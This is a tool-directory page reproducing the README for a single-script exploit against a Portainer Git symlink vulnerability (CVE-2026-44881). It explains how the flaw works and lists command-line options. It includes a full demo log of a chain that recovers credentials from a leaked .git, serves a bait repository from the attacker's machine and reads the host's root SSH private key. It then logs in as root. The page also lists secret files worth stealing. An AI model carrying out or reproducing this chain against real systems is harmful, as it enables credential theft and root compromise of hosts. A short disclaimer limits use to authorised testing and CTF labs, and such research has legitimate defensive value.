Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44881_exploit | Kitploit
Tools/GitHubGitHub/0xdak/cve-2026-44881_exploit
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationLateral MovementWeb Application ExploitationInformation GatheringCTFPenetration TestingCloud Security
GitHub0xdak/cve-2026-44881_exploit
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-44881_exploit

View Repository

CVE-2026-44881 — Portainer Git Symlink → Arbitrary Host File Read

Single-script exploit for CVE-2026-44881, a Git symlink injection in Portainer's stack-deployment flow that lets any low-privilege authenticated user with stack-creation rights read arbitrary files reachable by the Portainer process.

Advisory: GHSA-rpgq-m5fp-32wr Affected: Portainer CE 2.33.0 – 2.33.7, 2.39.0 – 2.39.1, 2.40.x Fixed in: 2.33.8 (LTS), 2.39.2 (LTS), 2.41.0 (STS)

What it does

The vulnerability is a combination of two primitives:

  1. go-git v5 translates Git tree entries with mode 0o120000 (symlink) into real OS symlinks during git clone. The only blocklisted name is .gitmodules; every other path — including docker-compose.yml, which Portainer treats as the stack entry point — can be a symlink with an arbitrary relative target.
  2. Service.GetFileContent (api/filesystem/filesystem.go) reads the stack entry file with os.ReadFile, which transparently follows OS symlinks. JoinPaths prevents ../ in the input string but never calls filepath.EvalSymlinks, so a symlink already on disk happily resolves to its target.

Portainer commonly runs as root inside its container (needed for the Docker socket), so the read primitive's reach is whatever the container can see — typically /data/portainer.db (BoltDB with every user's password hash + every API token), Kubernetes service-account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token, Docker Swarm secrets at /run/secrets/, and — in deployments that bind-mount the host filesystem for monitoring — the host's /etc/shadow, /root/.ssh/*, and so on.

This script chains:

root@kitploit:~
leaked .git on port 80
    → recover lowuser:password from commit history
        → Portainer login
            → create Git-backed stack with clean YAML        (validation passes, stack persists)
                → push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
                    → GET /api/stacks/{id}/file              (returns symlink target's content)
                        → ssh -i stolen_key root@target

Usage

root@kitploit:~
./exploit.sh -t 192.168.1.27

Auto-detects the attacker IP from ip addr and assumes .git is exposed at http://target/.git/. Override anything that doesn't match your environment:

root@kitploit:~
  -t, --target             target IP (required)
  -a, --attacker           attacker IP advertised to Portainer for the git daemon (auto-detected)
  -l, --leak-path          path of the exposed .git directory (default: /.git)
  -p, --portainer-port     Portainer HTTP port (default: 9000)
  -g, --git-port           local git daemon port (default: 9418)
  -w, --workdir            working directory for scratch files (default: mktemp)
  -u, --user               skip .git enumeration; use this Portainer username
  -P, --pass               skip .git enumeration; use this Portainer password
      --no-creds-from-git  skip the .git stage and require -u/-P
      --no-ssh             skip the final SSH-in step
  -h, --help               show this help and exit

Demo

root@kitploit:~
$ ./exploit.sh -t 192.168.1.27
[+] Target          : http://192.168.1.27:9000
[+] Attacker IP     : 192.168.1.34
[+] Workdir         : /tmp/cve44881-xxxx

=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
    3a1f9e2 oops: remove creds from repo, rotate before prod
    b4c20a6 add trial onboarding env (temp, will move to vault)
    d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026

=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1

=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)

=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1

=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}

=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9

=== Done — exploit complete ===

Requirements

  • Bash, curl, jq, git (with git daemon), ssh
  • Recommended: git-dumper — pipx install git-dumper. The script ships a minimal built-in dumb-HTTP enumerator that handles the simple loose-object case if git-dumper is missing, but for any non-trivial leaked .git directory the full tool is much more reliable.

Notes

  • The script assumes the lab's bind-mount layout /:/mnt/host:ro and reads /mnt/host/root/.ssh/id_rsa. To target other files, edit the symlink target in Stage 5 (../../../mnt/host/root/.ssh/id_rsa). Portainer's go-billy chroot-jails absolute symlinks to the worktree, so the target must be relative.
  • The credentials recovered from .git are Portainer-scoped only — they don't grant SSH or any direct host access. The lab is wired so the only way to host-level RCE is through the CVE itself.
  • The redeploy stage expects Portainer to respond with {"message":"stack config file is invalid"} — this is the validator complaining that an SSH key isn't valid YAML. The clone has already overwritten the working tree by the time the validator runs, which is exactly what we need.

License

MIT. For authorized testing and CTF / lab use only.

Download Tool